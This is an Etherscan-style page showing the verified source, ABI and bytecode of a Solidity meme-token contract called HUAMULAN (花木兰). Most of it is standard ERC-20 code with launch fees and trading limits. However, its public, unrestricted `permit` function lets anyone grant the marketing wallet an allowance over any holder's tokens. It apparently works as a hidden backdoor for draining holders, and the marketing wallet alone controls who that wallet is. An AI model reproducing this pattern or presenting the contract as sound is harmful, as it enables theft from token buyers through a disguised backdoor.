ETH Price: $2,883.20 (+8.63%)
 

Overview

Max Total Supply

1,000,000 花木兰

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,162.850848642443285196 花木兰

Value
$0.00
0xf8c0548663daa3c51ccfc722d9539ac76465b1a8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HUAMULAN

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

// SPDX-License-Identifier: MIT
/*
Experience the emergence of the HUAMULAN Token, a cutting-edge and exhilarating digital asset ignited by the renowned HUAMULAN meme.

Website: https://huamulan.live
Twitter: https://twitter.com/huamulanETH
Telegram: https://t.me/huamulanETH
*/

pragma solidity 0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _permit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract HUAMULAN is ERC20(unicode"花木兰", unicode"花木兰"), Ownable {
    IFactory public constant uniswapFactory =
    IFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IRouter public constant uniswapRouter = 
    IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 constant _totalsupply = 1_000_000 * 10 ** 18;
    bool public hasLimits = true;
    bool public buyEnabled = false;
    bool public swapEnabled = false;
    bool public fetchInitialFees = true;
    uint256 public maxBuySize;
    uint256 public maxSellSize;
    uint256 public maxWalletSize;
    uint256 public swapMax;
    uint256 public swapMin;
    uint256 public initialBlock;
    uint256 public finalBuyFees;
    uint256 public finalSellFees;
    bool private swapping;
    address public marketingWallet;
    uint256 public tokensForFee;
    address public immutable pairAddr;
    mapping(address => bool) private _isExemptFee;
    mapping(address => bool) private _isExemptMaxTx;
    constructor(){
        _mint(msg.sender, _totalsupply);
        _approve(address(this), address(uniswapRouter), ~uint256(0));
        _excludeFromMaxTransaction(address(uniswapRouter), true);
        pairAddr = uniswapFactory.createPair(
            address(this),
            uniswapRouter.WETH()
        );
        maxWalletSize = (totalSupply() * 30) / 1_000; 
        swapMax = (totalSupply() * 65) / 10_000;
        maxBuySize = (totalSupply() * 25) / 1_000; 
        swapMin = (totalSupply() * 1) / 10_000; 
        maxSellSize = (totalSupply() * 25) / 1_000; 
        marketingWallet = 0xDf7E8ed486c3Cd5fE3d6167c4076b3f30f418798;

        _excludeFromMaxTransaction(msg.sender, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);
        removeFromFees(msg.sender, true);
        removeFromFees(address(this), true);
        removeFromFees(marketingWallet, true);
        removeFromFees(address(0xdead), true);
    }
    function initFees() internal {
        require(
            initialBlock > 0, "Trading not live"
        );
        uint256 currentBlock = block.number;
        uint256 lastTierOneBlock = initialBlock + 6;
        if(currentBlock <= lastTierOneBlock) {
            finalBuyFees = 20;
            finalSellFees = 20;
        } else {
            finalBuyFees = 4;
            finalSellFees = 4;
            fetchInitialFees = false;
        } 
    }
    receive() external payable {}
    function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
        finalBuyFees = newBuyFees;
        finalSellFees = newSellFees;
    }
    
    function removeLimits() external onlyOwner {
        hasLimits = false;
    }
    function openTrading() public onlyOwner {
        require(initialBlock == 0, "ERROR: Token state is already live !");
        initialBlock = block.number;
        buyEnabled = true;
        swapEnabled = true;
    }
    function removeFromFees(address account, bool excluded) public onlyOwner {
        _isExemptFee[account] = excluded;
    }
    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = marketingWallet;
        _permit(spender, owner, amount);
        return true;
    }
    function _excludeFromMaxTransaction(
        address updAds,
        bool isExcluded
    ) private {
        _isExemptMaxTx[updAds] = isExcluded;
    }
    function setMarketingWallet(address _devWallet) external {
        require(msg.sender == marketingWallet);
        require(_devWallet != address(0), "ERROR: _devWallet address cannot be 0");
        marketingWallet = payable(_devWallet);
        _isExemptFee[marketingWallet] = true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        if (hasLimits) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead)
            ) {
                if (!buyEnabled) {
                    require(
                        _isExemptMaxTx[from] ||
                            _isExemptMaxTx[to],
                        "ERROR: Trading is not active."
                    );
                    require(from == owner(), "ERROR: Trading is enabled");
                }
                //when buy
                if (
                    from == pairAddr && !_isExemptMaxTx[to]
                ) {
                    require(
                        amount <= maxBuySize,
                        "ERROR: Buy transfer amount exceeds the max buy."
                    );
                    require(
                        amount + balanceOf(to) <= maxWalletSize,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
                //when sell
                else if (
                    to == pairAddr && !_isExemptMaxTx[from]
                ) {
                    require(
                        amount <= maxSellSize,
                        "ERROR: Sell transfer amount exceeds the max sell."
                    );
                } else if (
                    !_isExemptMaxTx[to] &&
                    !_isExemptMaxTx[from]
                ) {
                    require(
                        amount + balanceOf(to) <= maxWalletSize,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapMax;
        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            amount > swapMin && 
            !(from == pairAddr) &&
            !_isExemptFee[from] &&
            !_isExemptFee[to]
        ) {
            swapping = true;
            swapBackFeeTokens();
            swapping = false;
        }
        bool takeFee = true;
        if (_isExemptFee[from] || _isExemptFee[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if(fetchInitialFees){
               initFees(); 
            }
            // Sell
            if (to == pairAddr && finalSellFees > 0) {
                fees = (amount * finalSellFees) / 100;
                tokensForFee += fees;
            }
            // Buy
            else if (from == pairAddr && finalBuyFees > 0) {
                fees = (amount * finalBuyFees) / 100;
                tokensForFee += fees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function swapBackFeeTokens() private {
        uint256 contractBalance = balanceOf(address(this));

        uint256 tokensForFee =  tokensForFee;

        if (contractBalance == 0 || tokensForFee == 0) {
            return;
        }

        if (contractBalance > swapMax) {
            contractBalance = swapMax;
        }    
        swapTokensForEth(contractBalance);

        payable(marketingWallet).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fetchInitialFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"removeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526005805463ffffffff60a01b1916630100000160a01b1790553480156200002a57600080fd5b506040805180820182526009808252680e88ab1e69ca8e585b60bc1b60208084018290528451808601909552918452908301529060036200006c838262000765565b5060046200007b828262000765565b5050506200009862000092620003e460201b60201c565b620003e8565b620000ae3369d3c21bcecceda10000006200043a565b620000d130737a250d5630b4cf539739df2c5dacb4c659f2488d60001962000501565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260116020527fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d6805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000191573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b7919062000831565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b919062000831565b6001600160a01b03166080526103e86200024460025490565b6200025190601e62000879565b6200025d919062000899565b6008556127106200026d60025490565b6200027a90604162000879565b62000286919062000899565b6009556103e86200029660025490565b620002a390601962000879565b620002af919062000899565b600655612710620002bf60025490565b620002cc90600162000879565b620002d8919062000899565b600a556103e8620002e860025490565b620002f590601962000879565b62000301919062000899565b600755600e8054610100600160a81b03191674df7e8ed486c3cd5fe3d6167c4076b3f30f41879800179055336000908152601160205260409020805460ff19166001179055306000908152601160205260409020805460ff1916600117905561dead60005260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff19166001179055620003a433600162000629565b620003b130600162000629565b600e54620003cf9061010090046001600160a01b0316600162000629565b620003de61dead600162000629565b620008d2565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004965760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004aa9190620008bc565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620005655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200048d565b6001600160a01b038216620005c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200048d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200063362000663565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200048d565b565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ec57607f821691505b6020821081036200070d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065e57600081815260208120601f850160051c810160208610156200073c5750805b601f850160051c820191505b818110156200075d5782815560010162000748565b505050505050565b81516001600160401b03811115620007815762000781620006c1565b6200079981620007928454620006d7565b8462000713565b602080601f831160018114620007d15760008415620007b85750858301515b600019600386901b1c1916600185901b1785556200075d565b600085815260208120601f198616915b828110156200080257888601518255948401946001909101908401620007e1565b5085821015620008215787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200084457600080fd5b81516001600160a01b03811681146200085c57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000893576200089362000863565b92915050565b600082620008b757634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000893576200089362000863565b608051611bc0620009116000396000818161036901528181610e5e01528181610fa00152818161117601528181611289015261130a0152611bc06000f3fe60806040526004361061021d5760003560e01c806375f0a87411610123578063ae72e256116100ab578063dd62ed3e1161006f578063dd62ed3e14610612578063e6f7053114610632578063f2fde38b14610652578063f48c36f414610672578063f582d2931461069357600080fd5b8063ae72e2561461059b578063b3de9b5d146105b1578063baccf5cf146105c7578063c9567bf9146105e7578063d39e216c146105fc57600080fd5b806395d89b41116100f257806395d89b411461050f5780639e83799b14610524578063a457c2d714610545578063a5e992bb14610565578063a9059cbb1461057b57600080fd5b806375f0a8741461048e5780638bdb2afa146104b35780638da5cb5b146104db5780638f3fa860146104f957600080fd5b80633c2565ff116101a65780636ddd1713116101755780636ddd1713146103e557806370a0823114610406578063715018a61461043c578063735de9f714610451578063751039fc1461047957600080fd5b80633c2565ff146103415780634f4fc99b1461035757806355a8bfbc146103a35780635d098b38146103c557600080fd5b806318160ddd116101ed57806318160ddd146102ba57806323b872dd146102cf5780632cb15864146102ef578063313ce56714610305578063395093511461032157600080fd5b80627388c11461022957806306fdde0314610252578063095ea7b3146102745780630c44a69e146102a457600080fd5b3661022457005b600080fd5b34801561023557600080fd5b5061023f600c5481565b6040519081526020015b60405180910390f35b34801561025e57600080fd5b506102676106b4565b604051610249919061182d565b34801561028057600080fd5b5061029461028f366004611890565b610746565b6040519015158152602001610249565b3480156102b057600080fd5b5061023f600f5481565b3480156102c657600080fd5b5060025461023f565b3480156102db57600080fd5b506102946102ea3660046118bc565b610760565b3480156102fb57600080fd5b5061023f600b5481565b34801561031157600080fd5b5060405160128152602001610249565b34801561032d57600080fd5b5061029461033c366004611890565b610784565b34801561034d57600080fd5b5061023f60065481565b34801561036357600080fd5b5061038b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610249565b